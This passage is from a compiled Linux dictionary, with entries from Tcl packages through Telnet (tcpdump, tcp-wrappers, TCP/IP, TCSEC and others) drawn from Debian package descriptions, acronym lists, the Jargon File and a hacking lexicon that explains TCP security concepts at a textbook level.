several instances of the same lexer (eg a HTML parser) can run at the same time in distinct call frames and maintain distinct states (local variables...). Lexer need not be specially designed in order to be used incrementally, the same lexer can transparently be used in one pass or incrementally. This feature is especially useful when processing text from a file or an Internet socket (Web pages for example), when data is not necessarily available at the beginning of the processing. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tclexpat

Tcl interface to expat XML parser. This package provides a Tcl interface to James Clark's expat library. It creates a Tcl package, called "expat", which defines a single new Tcl command "expat". From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcllib

The Standard Tcl Library Tcllib, the standard Tcl library, is a collection of common utility functions and modules. MODULES INCLUDED: * base64: a base64 encoder and decoder * calendar: routines for manipulating dates * cmdline: a command line argument processor similar to opt * comm: remote communications facility * control: procedures for control flow structures * counter: provides a counter facility and can compute statistics and histograms over the collected data. * crc: checksum−calculation routines (crc32, cksum, sum) * csv: functions to handle CSV (comma−separated values) data * doctools: manpage−generation tools * fileutil: Tcl implementations of some standard Unix utilities * ftp: Tcl interface to the FTP protocol * ftpd: implementation of functions needed for an FTP server * html: generate and control HTML tags * htmlparse: parse HTML strings * javascript: Tcl shortcuts to create common javascript functions * log: functions to log messages with various facilities and levels * math: common math functions like min, max, and others * md5: md5 hashing functions * mime: a MIME encoder and decoder * ncgi: a new CGI processing module * nntp: Tcl functions for the NNTP protocol * pop3: a POP3 protocol implementation * profiler: a function level Tcl source code profiler * report: provides objects which can be used to generate and format reports * sha1: sha1 hashing functions * smtpd: implemetnation of functions needed for an SMTP server * stats: functions for counters, histograms, and statistics * stooop: simple Tcl−only object oriented programming scheme − provides C++/Java−like OOP interfaces * struct: Tcl implementations of common data structures (tree, graph, etc) * textutil: string manipulation library * uri: functions to generate and manipulate commonly−used URIs From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tclreadline

GNU Readline Extension for Tcl/Tk. tclreadline adds GNU Readline support to standard Tcl/Tk shells. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tclsh

Simple shell containing Tcl interpreter From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tclsh8.3

Simple shell containing Tcl interpreter From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCLTK

Tool Command Language/ToolKit (TCL, X−Windows), "TCL/TK" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tclx8.0.4

Extended Tcl (TclX) version 8.0.4 −− runtime package TclX is a set of extensions to Tcl. Extended Tcl is oriented towards Unix system programming tasks and large application development. Many additional interfaces to the Unix operating system are provided. It is upwardly compatible with Tcl. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tclx8.2

Extended Tcl (TclX) version 8.2.0 −− TclX runtime package Extended Tcl (TclX), is a set of extensions to Tcl, the Tool Command Language invented by Dr. John Ousterhout. Tcl is a powerful, yet simple embeddable programming language. Extended Tcl is oriented towards system programming tasks and large application development. TclX provides additional interfaces to the operating system, and adds many new programming constructs, text manipulation tools, and debugging tools. The tclx8.2 package doesn't include programs and libraries depending on Tk. You

need the tkx8.2 package for these. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tclx8.3

Extended Tcl (TclX) version 8.3.0 −− TclX runtime package Extended Tcl (TclX), is a set of extensions to Tcl, the Tool Command Language invented by Dr. John Ousterhout. Tcl is a powerful, yet simple embeddable programming language. Extended Tcl is oriented towards system programming tasks and large application development. TclX provides additional interfaces to the operating system, and adds many new programming constructs, text manipulation tools, and debugging tools. The tclx8.3 package doesn't include programs and libraries depending on Tk. You need the tkx8.3 package for these. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCM

Thermal Conduction Module From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCM

Time Compression Multiplexer From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCM

Trellis Coded Modulation From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCNS

Thomas Conrad Network System (LAN) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCO

Test Cell Output (UNI, ATM) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP

Tape Carrier Package (CPU) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP

Test Coordination Procedure From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP

Transmission Control Protocol (ARPANET) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP

Transmission Control Protocol−−the big kahoona of the Internet Protocols. TCP takes the information to be generated by an application and passes it to the IP (Internet Protocol) to be transmitted. IP is responsible for getting a packet of information from one host to another, while TCP is responsible for making sure messages get from one host to another and that the messages are understood. From Glossary of Distance Education and Internet Terminology
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP

Transmission Control Protocol. The chief transport protocol for TCP/IP. Key point: TCP is "connection oriented". This means the three−way handshake must be completed before any data can be sent across the connection. This makes IP address spoofing impossible without sequence number prediction. Key point: TCP creates a virtual "byte stream" for applications. Therefore, applications that send/receive data must create their own boundaries, such as length encoding the data, or send text data a line at a time. However, in practice, applications do indeed send data aligned on packet boundaries. Most network−based intrusion detection systems depend upon these boundaries in order to work correctly. Therefore, they can easily be evaded by custom written scripts that misalign the data. The applications don't see any difference, but the NIDS see something completely different go across the wire that no longer matches their signatures. Contrast: There are two transport protocols: TCP and UDP. Whereas TCP is connection−oriented, UDP is connectionless, meaning UDP−based applications are easily spoofed. TCP Format: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +−+ | Source Port | Destination Port | +−+ | Sequence Number | +−+ | Acknowledgment Number | +−+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +−+ | Checksum | Urgent Pointer | +−+ | Options | Padding | +−+ | data | +−+ Sequence Number^ The sequence number of the first byte within this packet. Acknowledgement Number^ The next expected sequence number of packets coming in the opposite direction. Reserved^ Not used. Note that this "field" is actually two fields: the low−order bits of the data offset byte and the high−order bits of the flags byte. Key point: The two undefined flags in this field are handled differently by different systems, which allows them to be fingerprinted URG^ The urgent flag is used to send what is known as out−of−band data. Key point: TCP/IP stacks often don't implement this right, and virtually no application uses it either. In fact, the WinNuke DoS attack against Windows was due to the fact that Windows would crash on URG data. ACK^ When set, the Acknowledgement Number field is valid. Key point: This bit is set in every packet but the first one, because every TCP packet acknowledges the last data it received. Key point: In order to block incoming connections, firewalls typically only pay attention to TCP packets with the ACK bit == 0. In other words, by blocking the first packet of a TCP connection, you prevent the connection from being established in the first place. Key point: Hackers can usually send TCP packets through a firewall by setting the ACK bit. Even though hackers cannot connect to a service, they can still do things like port scanning using this technique. PSH^ Normally, TCP tries to coalesce multiple packets into a single packet in order to improve throughput performance (handling one big chunk is more efficient than smaller chunks), but at the cost of latency (after receiving the first chunk, it must wait a little bit to see if a second chunk arrives). This bit tells the stack to push the data though immediately without waiting. RST^ Informs the other side that an error has occurred. This will either drop the connection or set it back to a known state. Key point: Different TCP/IP stacks send resets in response to different conditions, which can be used to fingerprint the stack. SYN^ Begins a connection. The most important consideration is synchronizing the sequence numbers on both sides. See SYN for more information. FIN^ Closes a connection. Key point: If you send a FIN packet to an open port, it should not respond. Some incorrectly written stacks respond anyway, allowing you to fingerprint a system. Key point: IDS systems monitoring network traffic will sometimes kill TCP sessions by spoofing a

FIN packet. Thus, when it detects an intruder connected to a server, it will make the server think the intruder has hung−up, and the server will likewise hang−up. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP sequence number prediction

When trying to spoof a TCP connection, the intruder is faced with the difficulty that he will never see the response to a SYN packet.. This is a problem because the victim sends back information to the spoofed address that is needed to carry on the conversation, namely the sequence number being used by the victim. Luckily (for hackers), most systems choose sequence numbers in a predictable way. History: Kevin Mitnick was caught doing TCP sequence number prediction against Tsutmu Shimomura. The reason Shimomura was able to catch Mitnick is because in order to predict the next sequence number, you must first grab the previous number using a non−spoofed connection. History: One of the first to point out this security problem was Robert T. Morris in a 1985 paper entitled A Weakness in the 4.2BSD Unix TCP/IP Software. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP Transmission Control Protocol

(often written as TCP/IP because it works together with IP). TCP is a protocol which ensures that data transmitted is received in the intended order and free of errors. The reason for this is that when computer data is transmitted over the Internet it is broken up into small `packets' which may travel over different routes. From Faculty−of−Education http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP−IP

Transmission Control Protocol/Internet Protocol. It is the data communication protocol most often used on Linux machines. [Transmission Control Protocol/Internet Protocol] The wide−area−networking protocol that makes the Internet work, and the only one most hackers can speak the name of without laughing or retching. Unlike such allegedly `standard' competitors such as X.25, DECnet, and the ISO 7−layer stack, TCP/IP evolved primarily by actually being used, rather than being handed down from on high by a vendor or a heavily−politicized standards committee. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP−IP

Transmission Control Protocol/Internet Protocol. It is the data communication protocol most often used on Unix machines. From NIS HOWTO http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcp−wrappers

Almost all of the services provided through inetd are invoked through tcp−wrappers by way of the tcp−wrappers daemon, tcpd. The tcp−wrappers mechanism provides access control list restrictions and logging for all service requests to the service it wraps. It may be used for either TCP or TCP services as long as the services are invoked through a central daemon process such as inetd. These programs log the client host name of incoming telnet, ftp, rsh, rlogin, finger etc.... requests. Security options are access control per host, domain and/or service; detection of host name spoofing or host address spoofing; booby traps to implement an early−warning system. From Linux System Security http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP/IP

/T'C−P I'P/ n. 1. [Transmission Control Protocol/Internet Protocol] The wide−area−networking protocol that makes the Internet work, and the only one most hackers can speak the name of without laughing or retching. Unlike such allegedly `standard' competitors such as X.25, DECnet, and the ISO 7−layer stack, TCP/IP evolved primarily by actually being used, rather than being handed down from on high by a vendor or a heavily−politicized standards committee. Consequently, it (a) works, (b) actually promotes cheap cross−platform connectivity, and (c) annoys the hell out of corporate and governmental empire−builders everywhere. Hackers value all three of these properties. See creationism. 2. [Amateur Packet Radio] Formerly expanded as "The Crap Phil Is Pushing". The reference is to Phil Karn, KA9Q, and the context was an ongoing technical/political war between the majority of sites still running AX.25 and the TCP/IP relays. TCP/IP won. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP/IP

see transmission control protocol on top internet protocol (TCP/IP). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP/IP (TCP/IP suite, TCP/IP stack)

Describes the protocols used on the Internet. The term evolved from the fact that these were the two most important protocols for engineers. If you talk about how to get data across the network from machine to machine, then you talk about IP packets. If you are interested in the abstract communication between applications, then you talk about TCP connections. If talk about generic transport of data encompassing both concepts (machine and application), then you naturally talk about both TCP and IP, or simply TCP/IP. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCP/IP (Transmission Control Protocol/Internet Protocol)

This is the suiteof protocols that defines the Internet. Originally designed for the UNIX operating system, TCP/IP software is now included with every major kind of computer operating system. To be truly on the Internet, your computer must have TCP/IP software. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCPACO

TCP Alternate Checksum Option (RFC 1146, TCP), "TCP−ACO" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCPBEUI

Transmission Control Protocol BIOS Extended User Interface (NETBIOS, TCP, UI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCPC

The Clean Personal Computer group (org., manufacturer, Grafikkarten) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpd

access control facility for internet services From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpd

Wietse Venema's TCP wrapper utilities Wietse Venema's network logger, also known as TCPD or LOG_TCP. These programs log the client host name of incoming telnet, ftp, rsh, rlogin, finger etc. requests. Security options are: access control per host, domain and/or service; detection of host name spoofing or host address spoofing; booby traps to implement an early−warning system. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpdchk

tcp wrapper configuration checker From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpdmatch

tcp wrapper oracle From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpdump

A powerful tool for network monitoring and data acquisition This program allows you to dump the traffic on a network. tcpdump is able to examine IPv4, ICMPv4, IPv6, ICMPv6, UDP, TCP, SNMP, AFS BGP, RIP, PIM, DVMRP, IGMP, SMB, OSPF, NFS and many other packet types. It can be used to print out the headers of packets on a network interface, filter packets that match a certain expression. You can use this tool to track down network problems, to detect "ping attacks" or to monitor network activities. More information is at <URL: http://www.tcpdump.org/> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpdump

Tcpdump is a command−line tool for monitoring network traffic. Tcpdump can capture and display the packet headers on a particular network interface or on all interfaces. Tcpdump can display all of the packet headers, or just the ones that match particular criteria. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpflow

TCP flow recorder tcpflow is a program that captures data transmitted as part of TCP connections (flows), and stores the data in a way that is convenient for protocol analysis or debugging. A program like 'tcpdump' shows a summary of packets seen on the wire, but usually doesn't store the data that's actually being transmitted. In contrast, tcpflow reconstructs the actual data streams and stores each flow in a separate file for later analysis. tcpflow understands sequence numbers and will correctly reconstruct data streams regardless of retransmissions or out−of−order delivery. However, it currently does not understand IP fragments; flows containing IP fragments will not be recorded properly. tcpflow is based on the LBL Packet Capture Library and therefore supports the same rich filtering expressions that programs like 'tcpdump' support. tcpflow can also rebuild flows from data captured with 'tcpdump −w'. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCPIP

Transmission Control Protocol/Internet Protocol (RFC 793, IP), "TCP/IP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCPLDP

TCP extensions for Long Delay Paths (RFC 1072, TCP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpquota

A dialout/masquerading monitoring package. TCPQuota monitors and debit users depending on there online time (dialout). The program is made for those who have a local network with a server that also functions as a Internet gateway (among other things). The server runs diald, for example, which does the actual dial−on−demand, and this package which debit each user, whether from the server or from a masqueraded host (program includes masquerade code). All a user from inside the gateway/firewall have to do is run the command 'openhost', and the hostname and username is masqueraded and debited according to the time they spend calling out. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpreplay

Tool to replay saved tcpdump files at arbitrary speeds Tcpreplay is aimed at testing the performance of a NIDS by replaying real background network traffic in which to hide attacks. Tcpreplay allows you to control the speed at which the traffic is replayed, and can replay arbitrary tcpdump traces. Unlike programmatically−generated artificial traffic which doesn't exercise the application/protocol inspection that a NIDS performs, and doesn't reproduce the real−world anomalies that appear on production networks (asymmetric routes, traffic bursts/lulls, fragmentation, retransmissions, etc.), tcpreplay allows for exact replication of real traffic seen on real networks. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpslice

extract pieces of and/or glue together tcpdump files Tcpslice is a program for extracting portions of packet−trace files generated using tcpdump(l)'s −w flag. It can also be used to glue together several such files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpspy

Incoming and Outgoing TCP/IP connections logger. tcpspy is an administrator's tool that logs information about incoming and outgoing TCP/IP connections. It's written in C and uses no libpcap functions, unlike tcpdump. Connections are selected for logging with rules, similarly to the filter expressions accepted by tcpdump. The following information is logged: username, local address and port, remote address and port, and, optionally, the executable filename. At present, only the IPv4 protocol is supported. From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpstat

network interface statistics reporting tool tcpstat reports certain network interface statistics much like vmstat does for system statistics. tcpstat gets its information by either monitoring a specific interface, or by reading previously saved tcpdump data from a file. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcptraceroute

A traceroute implementation using TCP packets The more traditional traceroute(8) sends out either UDP or ICMP ECHO packets with a TTL of one, and increments the TTL until the destination has been reached. By printing the gateways that generate ICMP time exceeded messages along the way, it is able to determine the path packets are taking to reach the destination. The problem is that with the widespread use of firewalls on the modern Internet, many of the packets that traceroute(8) sends out end up being filtered, making it impossible to completely trace the path to the destination. However, in many cases, these firewalls will permit inbound TCP packets to specific ports that hosts sitting behind the firewall are listening for connections on. By sending out TCP SYN packets instead of UDP or ICMP ECHO packets, tcptraceroute is able to bypass the most common firewall filters. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcputils

Utilities for TCP programming in shell−scripts This is a collection of programs to facilitate TCP programming in shell−scripts. There is also a small library which makes it somewhat easier to create TCP/IP sockets. The programs included in this release are: mini−inetd − small TCP/IP connection dispatcher tcpbug − TCP/IP connection bugging device tcpconnect − general TCP/IP client tcplisten − general TCP/IP server getpeername − get name of connected TCP/IP peer From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcpwrappers

acts as an intermediary between inetd and the server program to be run, providing a filtering "wrapper" that allows connections to be allowed or denied based on the host or network address. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcp_wrappers

The tcp_wrappers package provides small daemon programs that canmonitor and filter incoming requests for systat, finger, FTP, telnet, rlogin, rsh, exec, tftp, talk, and other network services. Install the tcp_wrappers program if you need a security tool for filtering incoming network services requests. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcs

Character set translator. tcs translates character sets from one encoding to another. Supported encodings include utf (ISO utf−8), ascii, ISO 8859−[123456789], koi8, jis−kanji, ujis, ms−kanji, jis, gb, big5, unicode, tis, msdos, and atari. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCS

Transmission Convergence Sublayer (ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCSEC

Trusted Computer System Evaluation Criteria (Orange Book, NCSC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCSEC (DoD Trusted Computer System Evaluation Criteria, CSC−STD−001−83, DoD 5200.28−STD)

A formal and academic specification of infosec created by the United States Department of Defense in the early 1980s. Point: TCSEC is divided in four parts: A, B, C, and D, where 'A' describes systems with the highest security and 'D' describes untrusted/untrustworthy systems. Each of these is further subdivided into "classes". Microsoft received "C2" certification for Windows NT. This mean the government certified the system as to conforming to class 2 of division C. Contrast: TCSEC is designed around the concept of trusted employees accessing local systems. It was not designed for todays open Internet access. Hackers do not approach security from the TCSEC point of view. TCSEC doesn't deal with types of threats hackers pose. What this means is that the TCSEC approach is irrelevent when trying to defend your e−commerce site against hackers. However, it is extremely useful in protecting internal systems from internal people. Remember that the biggest threat is from your own internal employees, and that most cybercriminals were convicted for having abused trust placed in them. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcsh
: Tcsh is an enhanced but completely compatible version of csh, the Cshell. Tcsh is a command language interpreter which can be used both as an interactive login shell and as a shell script command processor. Tcsh includes a command line editor, programmable word completion, spelling correction, a history mechanism, job control, and a C language−like syntax. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tcsh
: TENEX C Shell, an enhanced version of Berkeley csh. tcsh (TENEX C Shell) is an enhanced version of the Berkeley Unix C shell (csh(1)). It includes all the features of 4.4BSD C shell, plus a command−line editor, programmable word completion, spelling correction and more. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCSH
: Trustedi C SHell (Unix, Shell) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tct
: Forensics related utilities. The Coroner's Toolkit (TCT) is a collection of programs by Dan Farmer and Wietse Venema for a post−mortem analysis of a UNIX system after a break−in. TCT enables you to collect date regarding deleted files, modification times of files and more. Tools contained within this package: grave−robber, lazarus, icat, ils, unrm and pcat. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCU
: Tape Control Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCU
: Timing Control Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TCU
: Transmission Control Unit From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TD
: Transmit Data (MODEM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TDA

: Terminal Equipment From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TEA
: Telekommunikations−Anschluss−Einheit (Telekom) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TEAMA
: Taiwanese Electric Appliance Manufacturer's Association (org., Taiwan) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

teapop
: Powerful and flexible RFC−compliant POP3 server Teapop is a POP−3 server (compliant with RFC1939 and RFC2449) which supports: * Virtual hosting ("VPOP") * Flexible authentication (can get username/password from mysql, PostgreSQL, .htpasswd files, system password db... LDAP coming RSN) * APOP * mbox and Maildir−style spools * Use of X−UIDL headers * Ignoring UW−IMAPD control mails * Running from inetd or standalone * Various possible POP−before−SMTP methods if you know what you're doing. The binary in this package does not include support for database authentication. Use the teapop−mysql or teapop−pgsql packages if you need database authentication. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

teapop−mysql
: Powerful and flexible RFC−compliant POP3 server Teapop is a POP−3 server (compliant with RFC1939 and RFC2449) which supports: * Virtual hosting ("VPOP") * Flexible authentication (can get username/password from mysql, PostgreSQL, .htpasswd files, system password db... LDAP coming RSN) * APOP * mbox and Maildir−style spools * Use of X−UIDL headers * Ignoring UW−IMAPD control mails * Running from inetd or standalone * Various possible POP−before−SMTP methods if you know what you're doing. The binary in this package includes support for database authentication using mysql. Use the teapop package if you do not need database authentication at all, or the teapop−pgsql package if you need to use PostgreSQL database

authentication. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

teapop−pgsql

Powerful and flexible RFC−compliant POP3 server Teapop is a POP−3 server (compliant with RFC1939 and RFC2449) which supports: * Virtual hosting ("VPOP") * Flexible authentication (can get username/password from mysql, PostgreSQL, .htpasswd files, system password db... LDAP coming RSN) * APOP * mbox and Maildir−style spools * Use of X−UIDL headers * Ignoring UW−IMAPD control mails * Running from inetd or standalone * Various possible POP−before−SMTP methods if you know what you're doing. The binary in this package includes support for database authentication using PostgreSQL. Use the teapop package if you do not need database authentication at all, or the teapop−mysql package if you need to use mysql database authentication. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TEC

Text Encoding Converter (Apple) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TechLinux

Tech Ltda Computer science launched TechLinux 2.0 on July 16, 2001. This general purpose Linux OS is entirely in Brazilian Portuguese. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TECO

Tape / Text Editor and COrrector (MIT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ted

Graphical RTF (Rich Text Format) editor, lesstif version An editor designed for compatibility with popular MS−Windows applications that use the .rtf format, such as Word and Wordpad. Files created by Ted should be accepted as legal .rtf files. Compatibility the other way is more difficult to achieve, but Ted will ignore unsupported formatting. Ted supports font properties such as bold, italic and underline, in−line bitmap pictures, postscript printing, tables, and symbols. It can save documents in HTML format, and comes with built−in spell checking. Ted acts as a MIME handler for the application/rtf MIME type. This version of ted depends on the lesstif libraries. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ted−common

common files used by ted and ted−gtk Docs and such for the Graphical RTF editor, ted. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TEDAX

TExt DAta eXchange [protocol] (MacOS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

teddy

cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TEDIS

Trade Electronic Data Interchange Systems (EDI, Europe) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tee

n.,vt. [Purdue] A carbon copy of an electronic transmission. "Oh, you're sending him the bits to that? Slap on a tee for me." From the Unix command tee(1), itself named after a pipe fitting (see plumbing). Can also mean `save one for me', as in "Tee a slice for me!" Also spelled `T'. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tee

read from standard input and write to standard output and files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

teg

Turn based strategy game. Tenis Empanadas Graciela is a clone of Plan Tactico y Estratigico de la Guerra, based on Risk. Teg is a multiplayer game (it can be played across the internet) and it comes with a server, a GNOME client and a robot. It has support for GGZ Gaming Zone and IPv6. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TEI

Text Encoding Initiative [application] (SGML) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

teknap

Napster client based on BitchX This package lets avid Napster users remain comfortably ensconced in the BitchX interface we all know and love. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

tela

interactive tensor language Tela (pronounced teh−lah) is an interactive numerical computing package primarily targeted for prototyping numerical simulations. It is, however, also a general purpose programming language similar to C but with features derived from Pascal as well as other interactive systems such as Matlab. Tela is not a Matlab clone. Many of Tela's features are more powerful than in Matlab; on the other hand Tela's linear algebra routines are not as sophisticated as those in Matlab. Web page: http://www.geo.fmi.fi/prog/tela.html From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TELAS

TELephony Application System (CTI, SNI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Telecommunication

The science of information transport using wire, radio, optical, or electromagnetic channels to transmit receive signals for voice or data communications using electrical means. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Teleconferencing

Interactive communication among people at two or more locations using telecommunications. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

telegnome

A graphical teletext viewer TeleGNOME is a program to display teletext pages over the internet. As of this moment, the teletext feeds from the Netherlands, Hungary, Denmark, Finland, Turkey, Armenia, and the Czech Republic are known to work. The program is kept quite simple, but it is very useful, hopefully. Never load up that large slow web browser to view the teletext pages, just use this nifty little piece of software. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

teletype (TTY) display

A method of displaying characters on a monitor in which characters are generated and lent, one by one, to the video display; as the characters are received, the screen fills, line by line. When full, the screen scrolls up to accommodate the new lines of characters appearing at the bottom of the screen. Teletype display mode should be familiar to DOS users. DOS uses a teletype display for accepting commands and displaying messages. See character−mapped display. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TELEVAS

Telephony Value Added Services (WAP), "TeleVAS" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

telinit

process control initialization From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TELIS

TEileLogistik−InformationsSystem (MBAG) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TELNET

/tel'net/ vt. (also commonly lowercased as `telnet') To communicate with another Internet host using the TELNET (RFC 854) protocol (usually using a program of the same name). TOPS−10 people used the word IMPCOM, since that was the program name for them. Sometimes abbreviated to TN /T−N/. "I usually TN over to SAIL just to read the AP News." From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Telnet

A network protocol that provides a remote command−line shell. Telnet was created in the early 1970s, and is still widely used (as of early 2000). The most common uses of Telnet are to remotely login to UNIX systems. It is also widely used to obtain a command−prompt on network equipment such as routers and switches. Misconception: The word Telnet is the name of both the protocol as well as the client−program that uses the protocol. This client program is built into most systems. Using the Telnet program, you can open up a raw TCP connection to any port on the target computer in order to interact directly with text−based protocols. Thus, when we talk about telnetting to a certain port, we usually are talking about simply opening a raw connection. Indeed, we may be referring to a case where neither the Telnet program nor protocol are being used, such as using netcat to port 80. Example: Telnet to your local SMTP using a command that looks like telnet smtp.example.com 25. The first parameter should be your own mail server, whereas the second parameter indicates which port to connect to (other than the default port 23). Now type in the text as you see it below: http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Telnet

An Internet protocol that enables Internet users to log on to another computer linked to the Internet, including those that cannot directly communicate with the internet's TCP/IP protocols. Telnet establishes a "plain vanilla" computer terminal called a network virtual terminal. This capability is frequently used to enable communications with bulletin boards systems (BBSs) and mainframe computers. For example, you will often see hyperlinks so Telnet sessions while browsing the World Wide Web (WWW) . If you click such a hyperlink, your browser starts a Telnet helper program, and you see a text−only command window. In this window, you type commands and see the remote system's responses. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Telnet

It allows users to access computers and their data at thousands of places around the world, most often at libraries, universities, and government agencies. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Telnet

Protocol for interactive terminal access to remote machines. Telnet communications are unencrypted and provide no security from network interception. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

TELNET

TELephone NETwork (Unix, Internet, RFC 854) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

telnet

Telnet is a popular protocol for logging into remote systems over the Internet. The telnet package provides a command line telnet client. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Telnet

